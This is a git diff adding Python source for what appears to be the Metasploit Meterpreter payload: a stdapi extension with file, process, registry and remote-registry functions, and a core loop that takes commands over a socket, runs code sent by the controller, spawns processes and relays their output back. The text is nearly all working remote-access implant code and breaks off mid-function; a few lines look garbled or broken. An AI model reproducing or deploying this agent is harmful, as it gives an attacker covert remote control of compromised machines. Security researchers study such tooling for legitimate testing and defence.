diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py new file mode 100644 index 0000000000..63b2792a00 --- /dev/null +++ b/data/meterpreter/ext_server_stdapi.py @@ -0,0 +1,855 @@ +import ctypes +import fnmatch +import getpass +import os +import platform +import shlex +import shutil +import socket +import struct +import subprocess +import sys + +has_windll = hasattr(ctypes, 'windll') + +try: + import pty + has_pty = True +except ImportError: + has_pty = False + +try: + import pwd + has_pwd = True +except ImportError: + has_pwd = False + +try: + import termios + has_termios = True +except ImportError: + has_termios = False + +try: + import _winreg as winreg + has_winreg = True +except ImportError: + has_winreg = False + +class PROCESSENTRY32(ctypes.Structure): + _fields_ = [("dwSize", ctypes.c_uint32), + ("cntUsage", ctypes.c_uint32), + ("th32ProcessID", ctypes.c_uint32), + ("th32DefaultHeapID", ctypes.c_void_p), + ("th32ModuleID", ctypes.c_uint32), + ("cntThreads", ctypes.c_uint32), + ("th32ParentProcessID", ctypes.c_uint32), + ("thPriClassBase", ctypes.c_int32), + ("dwFlags", ctypes.c_uint32), + ("szExeFile", (ctypes.c_char * 260))] + +class SYSTEM_INFO(ctypes.Structure): + _fields_ = [("wProcessorArchitecture", ctypes.c_uint16), + ("wReserved", ctypes.c_uint16), + ("dwPageSize", ctypes.c_uint32), + ("lpMinimumApplicationAddress", ctypes.c_void_p), + ("lpMaximumApplicationAddress", ctypes.c_void_p), + ("dwActiveProcessorMask", ctypes.c_uint32), + ("dwNumberOfProcessors", ctypes.c_uint32), + ("dwProcessorType", ctypes.c_uint32), + ("dwAllocationGranularity", ctypes.c_uint32), + ("wProcessorLevel", ctypes.c_uint16), + ("wProcessorRevision", ctypes.c_uint16),] + +class SID_AND_ATTRIBUTES(ctypes.Structure): + _fields_ = [("Sid", ctypes.c_void_p), + ("Attributes", ctypes.c_uint32),] + +## +# STDAPI +## + +# +# TLV Meta Types +# +TLV_META_TYPE_NONE = ( 0 ) +TLV_META_TYPE_STRING = (1 << 16) +TLV_META_TYPE_UINT = (1 << 17) +TLV_META_TYPE_RAW = (1 << 18) +TLV_META_TYPE_BOOL = (1 << 19) +TLV_META_TYPE_COMPRESSED = (1 << 29) +TLV_META_TYPE_GROUP = (1 << 30) +TLV_META_TYPE_COMPLEX = (1 << 31) +# not defined in original +TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16) + +# +# TLV Specific Types +# +TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0 +TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1 +TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2 +TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3 +TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4 + +TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10 +TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11 +TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12 + +TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25 +TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26 +TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27 + +TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50 +TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51 +TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52 +TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53 +TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54 + +## +# General +## +TLV_TYPE_HANDLE = TLV_META_TYPE_UINT | 600 +TLV_TYPE_INHERIT = TLV_META_TYPE_BOOL | 601 +TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_UINT | 630 +TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_UINT | 631 + +## +# Fs +## +TLV_TYPE_DIRECTORY_PATH = TLV_META_TYPE_STRING | 1200 +TLV_TYPE_FILE_NAME = TLV_META_TYPE_STRING | 1201 +TLV_TYPE_FILE_PATH = TLV_META_TYPE_STRING | 1202 +TLV_TYPE_FILE_MODE = TLV_META_TYPE_STRING | 1203 +TLV_TYPE_FILE_SIZE = TLV_META_TYPE_UINT | 1204 + +TLV_TYPE_STAT_BUF = TLV_META_TYPE_COMPLEX | 1220 + +TLV_TYPE_SEARCH_RECURSE = TLV_META_TYPE_BOOL | 1230 +TLV_TYPE_SEARCH_GLOB = TLV_META_TYPE_STRING | 1231 +TLV_TYPE_SEARCH_ROOT = TLV_META_TYPE_STRING | 1232 +TLV_TYPE_SEARCH_RESULTS = TLV_META_TYPE_GROUP | 1233 + +## +# Net +## +TLV_TYPE_HOST_NAME = TLV_META_TYPE_STRING | 1400 +TLV_TYPE_PORT = TLV_META_TYPE_UINT | 1401 + +TLV_TYPE_SUBNET = TLV_META_TYPE_RAW | 1420 +TLV_TYPE_NETMASK = TLV_META_TYPE_RAW | 1421 +TLV_TYPE_GATEWAY = TLV_META_TYPE_RAW | 1422 +TLV_TYPE_NETWORK_ROUTE = TLV_META_TYPE_GROUP | 1423 + +TLV_TYPE_IP = TLV_META_TYPE_RAW | 1430 +TLV_TYPE_MAC_ADDRESS = TLV_META_TYPE_RAW | 1431 +TLV_TYPE_MAC_NAME = TLV_META_TYPE_STRING | 1432 +TLV_TYPE_NETWORK_INTERFACE = TLV_META_TYPE_GROUP | 1433 + +TLV_TYPE_SUBNET_STRING = TLV_META_TYPE_STRING | 1440 +TLV_TYPE_NETMASK_STRING = TLV_META_TYPE_STRING | 1441 +TLV_TYPE_GATEWAY_STRING = TLV_META_TYPE_STRING | 1442 + +# Socket +TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500 +TLV_TYPE_PEER_PORT = TLV_META_TYPE_UINT | 1501 +TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502 +TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503 +TLV_TYPE_CONNECT_RETRIES = TLV_META_TYPE_UINT | 1504 + +TLV_TYPE_SHUTDOWN_HOW = TLV_META_TYPE_UINT | 1530 + +# Registry +TLV_TYPE_HKEY = TLV_META_TYPE_UINT | 1000 +TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY +TLV_TYPE_BASE_KEY = TLV_META_TYPE_STRING | 1001 +TLV_TYPE_PERMISSION = TLV_META_TYPE_UINT | 1002 +TLV_TYPE_KEY_NAME = TLV_META_TYPE_STRING | 1003 +TLV_TYPE_VALUE_NAME = TLV_META_TYPE_STRING | 1010 +TLV_TYPE_VALUE_TYPE = TLV_META_TYPE_UINT | 1011 +TLV_TYPE_VALUE_DATA = TLV_META_TYPE_RAW | 1012 +TLV_TYPE_TARGET_HOST = TLV_META_TYPE_STRING | 1013 + +# Config +TLV_TYPE_COMPUTER_NAME = TLV_META_TYPE_STRING | 1040 +TLV_TYPE_OS_NAME = TLV_META_TYPE_STRING | 1041 +TLV_TYPE_USER_NAME = TLV_META_TYPE_STRING | 1042 +TLV_TYPE_ARCHITECTURE = TLV_META_TYPE_STRING | 1043 + +DELETE_KEY_FLAG_RECURSIVE = (1 << 0) + +# Process +TLV_TYPE_BASE_ADDRESS = TLV_META_TYPE_UINT | 2000 +TLV_TYPE_ALLOCATION_TYPE = TLV_META_TYPE_UINT | 2001 +TLV_TYPE_PROTECTION = TLV_META_TYPE_UINT | 2002 +TLV_TYPE_PROCESS_PERMS = TLV_META_TYPE_UINT | 2003 +TLV_TYPE_PROCESS_MEMORY = TLV_META_TYPE_RAW | 2004 +TLV_TYPE_ALLOC_BASE_ADDRESS = TLV_META_TYPE_UINT | 2005 +TLV_TYPE_MEMORY_STATE = TLV_META_TYPE_UINT | 2006 +TLV_TYPE_MEMORY_TYPE = TLV_META_TYPE_UINT | 2007 +TLV_TYPE_ALLOC_PROTECTION = TLV_META_TYPE_UINT | 2008 +TLV_TYPE_PID = TLV_META_TYPE_UINT | 2300 +TLV_TYPE_PROCESS_NAME = TLV_META_TYPE_STRING | 2301 +TLV_TYPE_PROCESS_PATH = TLV_META_TYPE_STRING | 2302 +TLV_TYPE_PROCESS_GROUP = TLV_META_TYPE_GROUP | 2303 +TLV_TYPE_PROCESS_FLAGS = TLV_META_TYPE_UINT | 2304 +TLV_TYPE_PROCESS_ARGUMENTS = TLV_META_TYPE_STRING | 2305 +TLV_TYPE_PROCESS_ARCH = TLV_META_TYPE_UINT | 2306 +TLV_TYPE_PARENT_PID = TLV_META_TYPE_UINT | 2307 + +TLV_TYPE_IMAGE_FILE = TLV_META_TYPE_STRING | 2400 +TLV_TYPE_IMAGE_FILE_PATH = TLV_META_TYPE_STRING | 2401 +TLV_TYPE_PROCEDURE_NAME = TLV_META_TYPE_STRING | 2402 +TLV_TYPE_PROCEDURE_ADDRESS = TLV_META_TYPE_UINT | 2403 +TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_UINT | 2404 +TLV_TYPE_IMAGE_GROUP = TLV_META_TYPE_GROUP | 2405 +TLV_TYPE_IMAGE_NAME = TLV_META_TYPE_STRING | 2406 + +TLV_TYPE_THREAD_ID = TLV_META_TYPE_UINT | 2500 +TLV_TYPE_THREAD_PERMS = TLV_META_TYPE_UINT | 2502 +TLV_TYPE_EXIT_CODE = TLV_META_TYPE_UINT | 2510 +TLV_TYPE_ENTRY_POINT = TLV_META_TYPE_UINT | 2511 +TLV_TYPE_ENTRY_PARAMETER = TLV_META_TYPE_UINT | 2512 +TLV_TYPE_CREATION_FLAGS = TLV_META_TYPE_UINT | 2513 + +TLV_TYPE_REGISTER_NAME = TLV_META_TYPE_STRING | 2540 +TLV_TYPE_REGISTER_SIZE = TLV_META_TYPE_UINT | 2541 +TLV_TYPE_REGISTER_VALUE_32 = TLV_META_TYPE_UINT | 2542 +TLV_TYPE_REGISTER = TLV_META_TYPE_GROUP | 2550 + +## +# Ui +## +TLV_TYPE_IDLE_TIME = TLV_META_TYPE_UINT | 3000 +TLV_TYPE_KEYS_DUMP = TLV_META_TYPE_STRING | 3001 +TLV_TYPE_DESKTOP = TLV_META_TYPE_STRING | 3002 + +## +# Event Log +## +TLV_TYPE_EVENT_SOURCENAME = TLV_META_TYPE_STRING | 4000 +TLV_TYPE_EVENT_HANDLE = TLV_META_TYPE_UINT | 4001 +TLV_TYPE_EVENT_NUMRECORDS = TLV_META_TYPE_UINT | 4002 + +TLV_TYPE_EVENT_READFLAGS = TLV_META_TYPE_UINT | 4003 +TLV_TYPE_EVENT_RECORDOFFSET = TLV_META_TYPE_UINT | 4004 + +TLV_TYPE_EVENT_RECORDNUMBER = TLV_META_TYPE_UINT | 4006 +TLV_TYPE_EVENT_TIMEGENERATED = TLV_META_TYPE_UINT | 4007 +TLV_TYPE_EVENT_TIMEWRITTEN = TLV_META_TYPE_UINT | 4008 +TLV_TYPE_EVENT_ID = TLV_META_TYPE_UINT | 4009 +TLV_TYPE_EVENT_TYPE = TLV_META_TYPE_UINT | 4010 +TLV_TYPE_EVENT_CATEGORY = TLV_META_TYPE_UINT | 4011 +TLV_TYPE_EVENT_STRING = TLV_META_TYPE_STRING | 4012 +TLV_TYPE_EVENT_DATA = TLV_META_TYPE_RAW | 4013 + +## +# Power +## +TLV_TYPE_POWER_FLAGS = TLV_META_TYPE_UINT | 4100 +TLV_TYPE_POWER_REASON = TLV_META_TYPE_UINT | 4101 + +## +# Sys +## +PROCESS_EXECUTE_FLAG_HIDDEN = (1 << 0) +PROCESS_EXECUTE_FLAG_CHANNELIZED = (1 << 1) +PROCESS_EXECUTE_FLAG_SUSPENDED = (1 << 2) +PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN = (1 << 3) + +PROCESS_ARCH_UNKNOWN = 0 +PROCESS_ARCH_X86 = 1 +PROCESS_ARCH_X64 = 2 +PROCESS_ARCH_IA64 = 3 + +## +# Errors +## +ERROR_SUCCESS = 0 +# not defined in original C implementation +ERROR_FAILURE = 1 + +# Special return value to match up with Windows error codes for network +# errors. +ERROR_CONNECTION_ERROR = 10000 + +def get_stat_buffer(path): + si = os.stat(path) + rdev = 0 + if hasattr(si, 'st_rdev'): + rdev = si.st_rdev + blksize = 0 + if hasattr(si, 'st_blksize'): + blksize = si.st_blksize + blocks = 0 + if hasattr(si, 'st_blocks'): + blocks = si.st_blocks + st_buf = struct.pack(' 3: + break + name = (ctypes.c_char * (ctypes.sizeof(name) * 2)) + tries += 1 + continue + elif result == ERROR_NO_MORE_ITEMS: + result = ERROR_SUCCESS + break + elif result != ERROR_SUCCESS: + break + tries = 0 + response += tlv_pack(TLV_TYPE_KEY_NAME, ctypes.string_at(name)) + index += 1 + return result, response + +@meterpreter.register_function_windll +def stdapi_registry_enum_value(request, response): + ERROR_MORE_DATA = 0xea + ERROR_NO_MORE_ITEMS = 0x0103 + hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] + name = (ctypes.c_char * 4096)() + name_sz = ctypes.c_uint32() + index = 0 + tries = 0 + while True: + name_sz.value = ctypes.sizeof(name) + result = ctypes.windll.advapi32.RegEnumValueA(hkey, index, name, ctypes.byref(name_sz), None, None, None, None) + if result == ERROR_MORE_DATA: + if tries > 3: + break + name = (ctypes.c_char * (ctypes.sizeof(name) * 3)) + tries += 1 + continue + elif result == ERROR_NO_MORE_ITEMS: + result = ERROR_SUCCESS + break + elif result != ERROR_SUCCESS: + break + tries = 0 + response += tlv_pack(TLV_TYPE_VALUE_NAME, ctypes.string_at(name)) + index += 1 + return result, response + +@meterpreter.register_function_windll +def stdapi_registry_load_key(request, response): + root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY) + sub_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY) + file_name = packet_get_tlv(request, TLV_TYPE_FILE_PATH) + result = ctypes.windll.advapi32.RegLoadKeyA(root_key, sub_key, file_name) + return result, response + +@meterpreter.register_function_windll +def stdapi_registry_open_key(request, response): + root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value'] + base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value'] + permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS) + handle_id = ctypes.c_void_p() + if ctypes.windll.advapi32.RegOpenKeyExA(root_key, base_key, 0, permission, ctypes.byref(handle_id)) == ERROR_SUCCESS: + response += tlv_pack(TLV_TYPE_HKEY, handle_id.value) + return ERROR_SUCCESS, response + return ERROR_FAILURE, response + +@meterpreter.register_function_windll +def stdapi_registry_open_remote_key(request, response): + target_host = packet_get_tlv(request, TLV_TYPE_TARGET_HOST)['value'] + root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value'] + result_key = ctypes.c_void_p() + result = ctypes.windll.advapi32.RegConnectRegistry(target_host, root_key, ctypes.byref(result_key)) + if (result == ERROR_SUCCESS): + response += tlv_pack(TLV_TYPE_HKEY, result_key.value) + return ERROR_SUCCESS, response + return ERROR_FAILURE, response + +@meterpreter.register_function_windll +def stdapi_registry_query_class(request, response): + hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] + value_data = (ctypes.c_char * 4096)() + value_data_sz = ctypes.c_uint32() + value_data_sz.value = ctypes.sizeof(value_data) + result = ctypes.windll.advapi32.RegQueryInfoKeyA(hkey, value_data, ctypes.byref(value_data_sz), None, None, None, None, None, None, None, None, None) + if result == ERROR_SUCCESS: + response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data)) + return ERROR_SUCCESS, response + return ERROR_FAILURE, response + +@meterpreter.register_function_windll +def stdapi_registry_query_value(request, response): + REG_SZ = 1 + REG_DWORD = 4 + hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] + value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value'] + value_type = ctypes.c_uint32() + value_type.value = 0 + value_data = (ctypes.c_ubyte * 4096)() + value_data_sz = ctypes.c_uint32() + value_data_sz.value = ctypes.sizeof(value_data) + result = ctypes.windll.advapi32.RegQueryValueExA(hkey, value_name, 0, ctypes.byref(value_type), value_data, ctypes.byref(value_data_sz)) + if result == ERROR_SUCCESS: + response += tlv_pack(TLV_TYPE_VALUE_TYPE, value_type.value) + if value_type.value == REG_SZ: + response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data) + '\x00') + elif value_type.value == REG_DWORD: + response += tlv_pack(TLV_TYPE_VALUE_DATA, ''.join(value_data.value)[:4]) + else: + response += tlv_pack(TLV_TYPE_VALUE_DATA, ''.join(value_data.value)[:value_data_sz.value]) + return ERROR_SUCCESS, response + return ERROR_FAILURE, response + +@meterpreter.register_function_windll +def stdapi_registry_set_value(request, response): + hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] + value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value'] + value_type = packet_get_tlv(request, TLV_TYPE_VALUE_TYPE)['value'] + value_data = packet_get_tlv(request, TLV_TYPE_VALUE_DATA)['value'] + result = ctypes.windll.advapi32.RegSetValueExA(hkey, value_name, 0, value_type, value_data, len(value_data)) + return result, response + +@meterpreter.register_function_windll +def stdapi_registry_unload_key(request, response): + root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value'] + base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value'] + result = ctypes.windll.advapi32.RegUnLoadKeyA(root_key, base_key) + return result, response diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py new file mode 100644 index 0000000000..0cbdf74c92 --- /dev/null +++ b/data/meterpreter/meterpreter.py @@ -0,0 +1,408 @@ +#!/usr/bin/python +import code +import ctypes +import os +import random +import select +import socket +import struct +import subprocess +import sys +import threading + +has_windll = hasattr(ctypes, 'windll') + +# +# Constants +# +PACKET_TYPE_REQUEST = 0 +PACKET_TYPE_RESPONSE = 1 +PACKET_TYPE_PLAIN_REQUEST = 10 +PACKET_TYPE_PLAIN_RESPONSE = 11 + +ERROR_SUCCESS = 0 +# not defined in original C implementation +ERROR_FAILURE = 1 + +CHANNEL_CLASS_BUFFERED = 0 +CHANNEL_CLASS_STREAM = 1 +CHANNEL_CLASS_DATAGRAM = 2 +CHANNEL_CLASS_POOL = 3 + +# +# TLV Meta Types +# +TLV_META_TYPE_NONE = ( 0 ) +TLV_META_TYPE_STRING = (1 << 16) +TLV_META_TYPE_UINT = (1 << 17) +TLV_META_TYPE_RAW = (1 << 18) +TLV_META_TYPE_BOOL = (1 << 19) +TLV_META_TYPE_COMPRESSED = (1 << 29) +TLV_META_TYPE_GROUP = (1 << 30) +TLV_META_TYPE_COMPLEX = (1 << 31) +# not defined in original +TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16) + +# +# TLV base starting points +# +TLV_RESERVED = 0 +TLV_EXTENSIONS = 20000 +TLV_USER = 40000 +TLV_TEMP = 60000 + +# +# TLV Specific Types +# +TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0 +TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1 +TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2 +TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3 +TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4 + +TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10 +TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11 +TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12 + +TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25 +TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26 +TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27 + +TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50 +TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51 +TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52 +TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53 +TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54 + +TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70 +TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71 +TLV_TYPE_SEEK_POS = TLV_META_TYPE_UINT | 72 + +TLV_TYPE_EXCEPTION_CODE = TLV_META_TYPE_UINT | 300 +TLV_TYPE_EXCEPTION_STRING = TLV_META_TYPE_STRING | 301 + +TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400 +TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401 +TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402 +TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403 + +TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500 +TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501 + +def generate_request_id(): + chars = 'abcdefghijklmnopqrstuvwxyz' + return ''.join(random.choice(chars) for x in xrange(32)) + +def packet_get_tlv(pkt, tlv_type): + offset = 0 + while (offset < len(pkt)): + tlv = struct.unpack('>II', pkt[offset:offset+8]) + if (tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type: + val = pkt[offset+8:(offset+8+(tlv[0] - 8))] + if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: + val = val.split('\x00', 1)[0] + elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: + val = struct.unpack('>I', val)[0] + elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL: + val = bool(struct.unpack('b', val)[0]) + elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW: + pass + return {'type':tlv[1], 'length':tlv[0], 'value':val} + offset += tlv[0] + return {} + +def tlv_pack(*args): + if len(args) == 2: + tlv = {'type':args[0], 'value':args[1]} + else: + tlv = args[0] + data = "" + if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: + data = struct.pack('>II', 8 + len(tlv['value']) + 1, tlv['type']) + tlv['value'] + '\x00' + elif (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: + data = struct.pack('>III', 12, tlv['type'], tlv['value']) + elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL: + data = struct.pack('>II', 9, tlv['type']) + chr(int(bool(tlv['value']))) + elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW: + data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value'] + elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP: + data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value'] + elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX: + data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value'] + return data + +class STDProcessBuffer(threading.Thread): + def __init__(self, std, is_alive): + threading.Thread.__init__(self) + self.std = std + self.is_alive = is_alive + self.data = '' + self.data_lock = threading.RLock() + + def run(self): + while self.is_alive(): + byte = self.std.read(1) + self.data_lock.acquire() + self.data += byte + self.data_lock.release() + self.data_lock.acquire() + self.data += self.std.read() + self.data_lock.release() + + def is_read_ready(self): + return len(self.data) != 0 + + def read(self, l = None): + data = '' + self.data_lock.acquire() + if l == None: + data = self.data + self.data = '' + else: + data = self.data[0:l] + self.data = self.data[l:] + self.data_lock.release() + return data + +class STDProcess(subprocess.Popen): + def __init__(self, *args, **kwargs): + subprocess.Popen.__init__(self, *args, **kwargs) + + def start(self): + self.stdout_reader = STDProcessBuffer(self.stdout, lambda: self.poll() == None) + self.stdout_reader.start() + self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None) + self.stderr_reader.start() + +class PythonMeterpreter(object): + def __init__(self, socket): + self.socket = socket + self.extension_functions = {} + self.channels = {} + self.interact_channels = [] + self.processes = {} + for func in filter(lambda x: x.startswith('_core'), dir(self)): + self.extension_functions[func[1:]] = getattr(self, func) + self.running = True + + def register_function(self, func): + self.extension_functions[func.__name__] = func + + def register_function_windll(self, func): + if has_windll: + self.register_function(func) + + def add_channel(self, channel): + idx = 0 + while idx in self.channels: + idx += 1 + self.channels[idx] = channel + return idx + + def add_process(self, process): + idx = 0 + while idx in self.processes: + idx += 1 + self.processes[idx] = process + return idx + + def run(self): + while self.running: + if len(select.select([self.socket], [], [], 0)[0]): + request = self.socket.recv(8) + if len(request) != 8: + break + req_length, req_type = struct.unpack('>II', request) + req_length -= 8 + request = '' + while len(request) < req_length: + request += self.socket.recv(4096) + response = self.create_response(request) + self.socket.send(response) + else: + channels_for_removal = [] + channel_ids = self.channels.keys() # iterate over the keys because self.channels could be modified if one is closed + for channel_id in channel_ids: + channel = self.channels[channel_id] + data = '' + if isinstance(channel, STDProcess): + if not channel_id in self.interact_channels: + continue + if channel.stdout_reader.is_read_ready(): + data = channel.stdout_reader.read() + elif channel.stderr_reader.is_read_ready(): + data = channel.stderr_reader.read() + elif channel.poll() != None: + self.handle_dead_resource_channel(channel_id) + elif isinstance(channel, socket._socketobject): + while len(select.select([channel.fileno()], [], [], 0)[0]): + try: + d = channel.recv(1) + except socket.error: + d = '' + if len(d) == 0: + self.handle_dead_resource_channel(channel_id) + break + data += d + if data: + pkt = struct.pack('>I', PACKET_TYPE_REQUEST) + pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write') + pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) + pkt += tlv_pack(TLV_TYPE_CHANNEL_DATA, data) + pkt += tlv_pack(TLV_TYPE_LENGTH, len(data)) + pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id()) + pkt = struct.pack('>I', len(pkt) + 4) + pkt + self.socket.send(pkt) + + def handle_dead_resource_channel(self, channel_id): + del self.channels[channel_id] + if channel_id in self.interact_channels: + self.interact_channels.remove(channel_id) + pkt = struct.pack('>I', PACKET_TYPE_REQUEST) + pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_close') + pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id()) + pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) + pkt = struct.pack('>I', len(pkt) + 4) + pkt + self.socket.send(pkt) + + def _core_loadlib(self, request, response): + data_tlv = packet_get_tlv(request, TLV_TYPE_DATA) + if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED: + return ERROR_FAILURE + preloadlib_methods = self.extension_functions.keys() + i = code.InteractiveInterpreter({'meterpreter':self, 'packet_get_tlv':packet_get_tlv, 'tlv_pack':tlv_pack, 'STDProcess':STDProcess}) + i.runcode(compile(data_tlv['value'], '', 'exec')) + postloadlib_methods = self.extension_functions.keys() + new_methods = filter(lambda x: x not in preloadlib_methods, postloadlib_methods) + for method in new_methods: + response += tlv_pack(TLV_TYPE_METHOD, method) + return ERROR_SUCCESS, response + + def _core_shutdown(self, request, response): + response += tlv_pack(TLV_TYPE_BOOL, True) + self.running = False + return ERROR_SUCCESS, response + + def _core_channel_open(self, request, response): + channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE) + handler = 'channel_create_' + channel_type['value'] + if handler not in self.extension_functions: + return ERROR_FAILURE, response + handler = self.extension_functions[handler] + return handler(request, response) + + def _core_channel_close(self, request, response): + channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] + if channel_id not in self.channels: + return ERROR_FAILURE, response + channel = self.channels[channel_id] + if isinstance(channel, file): + channel.close() + elif isinstance(channel, subprocess.Popen): + channel.kill() + elif isinstance(s, socket._socketobject): + channel.close() + else: + return ERROR_FAILURE, response + del self.channels[channel_id] + if channel_id in self.interact_channels: + self.interact_channels.remove(channel_id) + return ERROR_SUCCESS, response + + def _core_channel_eof(self, request, response): + channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] + if channel_id not in self.channels: + return ERROR_FAILURE, response + channel = self.channels[channel_id] + result = False + if isinstance(channel, file): + result = channel.tell() == os.fstat(channel.fileno()).st_size + response += tlv_pack(TLV_TYPE_BOOL, result) + return ERROR_SUCCESS, response + + def _core_channel_interact(self, request, response): + channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] + if channel_id not in self.channels: + return ERROR_FAILURE, response + channel = self.channels[channel_id] + toggle = packet_get_tlv(request, TLV_TYPE_BOOL)['value'] + if toggle: + if channel_id in self.interact_channels: + self.interact_channels.remove(channel_id) + else: + self.interact_channels.append(channel_id) + elif channel_id in self.interact_channels: + self.interact_channels.remove(channel_id) + return ERROR_SUCCESS, response + + def _core_channel_read(self, request, response): + channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] + length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value'] + if channel_id not in self.channels: + return ERROR_FAILURE, response + channel = self.channels[channel_id] + data = '' + if isinstance(channel, file): + data = channel.read(length) + elif isinstance(channel, STDProcess): + if channel.poll() != None: + self.handle_dead_resource_channel(channel_id) + if channel.stdout_reader.is_read_ready(): + data = channel.stdout_reader.read(length) + elif isinstance(s, socket._socketobject): + data = channel.recv(length) + else: + return ERROR_FAILURE, response + response += tlv_pack(TLV_TYPE_CHANNEL_DATA, data) + return ERROR_SUCCESS, response + + def _core_channel_write(self, request, response): + channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] + channel_data = packet_get_tlv(request, TLV_TYPE_CHANNEL_DATA)['value'] + length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value'] + if channel_id not in self.channels: 